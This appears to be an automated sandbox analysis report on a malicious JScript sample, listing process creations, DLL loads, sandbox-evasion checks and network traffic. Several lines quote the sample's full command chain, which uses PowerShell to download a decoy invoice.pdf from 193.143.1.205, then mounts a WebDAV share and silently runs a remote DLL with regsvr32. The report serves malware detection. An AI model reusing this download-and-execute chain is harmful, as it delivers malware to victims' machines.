Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2333.js.csv");ITextStream.WriteLine(" entry:8356 f:hnpimxbog");ITextStream.WriteLine(" exec:2 f:hnpimxbog");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5077			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4765			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6880	Thread sleep count: 5077 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6880	Thread sleep count: 4765 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2096	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 716	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2056	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6908	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.2123618523.000001D3E41F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000002.2187103464.0000015EA789D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3421803879.00000260D4A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3420422988.00000260CF22B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`k
Source: net.exe, 00000007.00000002.2187103464.0000015EA7838000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6326489910548.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
